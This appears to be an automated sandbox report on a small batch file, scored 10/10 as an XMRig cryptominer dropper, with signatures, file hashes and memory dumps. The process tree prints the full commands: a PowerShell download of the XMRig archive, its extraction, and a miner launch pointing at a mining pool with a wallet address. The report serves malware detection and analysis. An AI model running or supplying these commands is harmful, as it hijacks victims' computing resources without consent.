Analysis

  • max time kernel
    1797s
  • max time network
    1802s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    31-12-2023 20:41

General

  • Target

    tesy - Copy (7).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (7).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3852
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3676
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:920
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4424

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    a71b8aac8a094084db0edc041bbe5e32

    SHA1

    c8575f5c2f1a86a24852424b9c553d70a21e4866

    SHA256

    e467bc21dfb30a65995cbaa8974fc9ceff13d4f43e21ef0f6878547f34580425

    SHA512

    4d05588489a53ce49b983143314e5c2df89150c37700ef7de51fa53ce0ed3a0d06beba4181058732eb90748c6da06396c790f561130b067b442ec10ee66075a2

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_22sdvoc1.ip5.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    1.0MB

    MD5

    db3be1269d68319e1a39e12949718f80

    SHA1

    c4515507747ad3a4a49e69690b6738efd72cfaf5

    SHA256

    6e2501bf0edd3c47f10a509fb77d6a4484cc5ab40c1dcf89f6bc51676b013a0f

    SHA512

    df9ddb93c00be3d3b992d5d2ccf34a10340f357f86fa0fd5ebf1b229ffcf665bbf93a5d7c42568f88a646f8abdecd155637fb61eefa053888a4612d6025901ec

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    407KB

    MD5

    dfc2ac890c26e96ac88850b8905bce2d

    SHA1

    9638c5b19369023308ccae42897c65a0a2f43225

    SHA256

    b9bda8f6fe6ab30849799b82a1e216323d5b945f148f8d987fc77160c3281e60

    SHA512

    cf7c613897cc15773cdd63f8d838e3381874ebfee62c31df3ff6cc86698387a470256add0db4c5bc078529c94b79cb3a0b119f874a8467fe451426c91f5cd035

  • memory/920-44-0x000002724F060000-0x000002724F070000-memory.dmp

    Filesize

    64KB

  • memory/920-41-0x00007FFA90DE0000-0x00007FFA917CC000-memory.dmp

    Filesize

    9.9MB

  • memory/920-42-0x000002724F060000-0x000002724F070000-memory.dmp

    Filesize

    64KB

  • memory/920-117-0x00007FFA90DE0000-0x00007FFA917CC000-memory.dmp

    Filesize

    9.9MB

  • memory/920-80-0x000002724F040000-0x000002724F052000-memory.dmp

    Filesize

    72KB

  • memory/920-93-0x0000027236E90000-0x0000027236E9A000-memory.dmp

    Filesize

    40KB

  • memory/920-66-0x000002724F060000-0x000002724F070000-memory.dmp

    Filesize

    64KB

  • memory/3676-4-0x00000277041D0000-0x00000277041F2000-memory.dmp

    Filesize

    136KB

  • memory/3676-26-0x00007FFA90DE0000-0x00007FFA917CC000-memory.dmp

    Filesize

    9.9MB

  • memory/3676-25-0x000002771C270000-0x000002771C280000-memory.dmp

    Filesize

    64KB

  • memory/3676-10-0x000002771C570000-0x000002771C5E6000-memory.dmp

    Filesize

    472KB

  • memory/3676-8-0x000002771C270000-0x000002771C280000-memory.dmp

    Filesize

    64KB

  • memory/3676-5-0x00007FFA90DE0000-0x00007FFA917CC000-memory.dmp

    Filesize

    9.9MB

  • memory/3676-6-0x000002771C270000-0x000002771C280000-memory.dmp

    Filesize

    64KB

  • memory/3676-27-0x000002771C270000-0x000002771C280000-memory.dmp

    Filesize

    64KB

  • memory/3676-28-0x000002771C270000-0x000002771C280000-memory.dmp

    Filesize

    64KB

  • memory/3676-29-0x000002771C270000-0x000002771C280000-memory.dmp

    Filesize

    64KB

  • memory/3676-34-0x00007FFA90DE0000-0x00007FFA917CC000-memory.dmp

    Filesize

    9.9MB

  • memory/4424-143-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-155-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-122-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-123-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-125-0x00000265BED90000-0x00000265BEDB0000-memory.dmp

    Filesize

    128KB

  • memory/4424-124-0x00000265BED70000-0x00000265BED90000-memory.dmp

    Filesize

    128KB

  • memory/4424-126-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-127-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-129-0x00000265BED90000-0x00000265BEDB0000-memory.dmp

    Filesize

    128KB

  • memory/4424-128-0x00000265BED70000-0x00000265BED90000-memory.dmp

    Filesize

    128KB

  • memory/4424-130-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-131-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-132-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-133-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-134-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-135-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-136-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-137-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-138-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-139-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-140-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-141-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-142-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-120-0x00000265BD5D0000-0x00000265BD5F0000-memory.dmp

    Filesize

    128KB

  • memory/4424-144-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-145-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-146-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-147-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-148-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-149-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-150-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-151-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-152-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-153-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-154-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-121-0x00000265BED30000-0x00000265BED70000-memory.dmp

    Filesize

    256KB

  • memory/4424-156-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-157-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-158-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-159-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-160-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-161-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-162-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-163-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-164-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-165-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-166-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-167-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-168-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-169-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-170-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-171-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-172-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-173-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-174-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-175-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-176-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-177-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-178-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-179-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-180-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-181-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-182-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-183-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-184-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-185-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-186-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-187-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4424-188-0x00007FF6FC1E0000-0x00007FF6FCCE3000-memory.dmp

    Filesize

    11.0MB